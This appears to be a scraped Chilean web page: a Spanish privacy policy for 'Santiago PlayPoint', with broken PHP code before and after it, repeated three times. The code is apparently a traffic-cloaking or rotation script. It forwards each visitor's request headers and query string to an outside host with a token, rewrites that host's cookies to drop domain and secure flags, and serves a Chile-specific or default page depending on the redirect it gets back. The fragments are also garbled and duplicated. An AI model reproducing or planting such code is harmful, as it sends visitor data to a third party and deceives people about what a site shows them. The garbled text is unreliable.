baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>

Política de Privacidad

Última actualización: 14 de noviembre de 2024

En Santiago PlayPoint (en adelante, “nosotros”, “nuestro” o “el sitio web”), respetamos y protegemos la privacidad de nuestros usuarios. Esta Política de Privacidad explica cómo recopilamos, usamos, almacenamos y protegemos su información personal conforme a la legislación vigente en Chile.

1. Información que recopilamos

1.1 Datos personales

Podemos recopilar datos personales que usted proporcione voluntariamente a través de formularios de registro, suscripciones a boletines, formularios de contacto u otros medios. Estos datos pueden incluir:

1.2 Datos de uso y publicidad

Utilizamos herramientas como Google Ads y Google Analytics para recopilar información sobre su interacción con nuestro sitio web. Estos datos pueden incluir:

Para obtener más información sobre cómo Google utiliza estos datos, puede consultar la Política de Privacidad de Google.

2. Consentimiento y configuración de privacidad

Al visitar nuestro sitio web, se le solicitará que acepte o rechace el uso de cookies y la recopilación de datos para fines publicitarios. Puede cambiar sus preferencias en cualquier momento desde la configuración de cookies del sitio.

También puede desactivar la publicidad personalizada en: Configuración de anuncios de Google.

3. Privacidad de menores

Nuestro sitio web no está dirigido a personas menores de 16 años sin supervisión de sus padres o tutores. No recopilamos intencionalmente datos personales de menores de esta edad. Si usted es padre, madre o tutor y cree que su hijo nos ha proporcionado información personal, contáctenos y procederemos a eliminarla.

4. Cambios en esta política

Nos reservamos el derecho de actualizar esta Política de Privacidad en cualquier momento para reflejar cambios en nuestras prácticas. Se recomienda a los usuarios revisar esta página periódicamente.

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>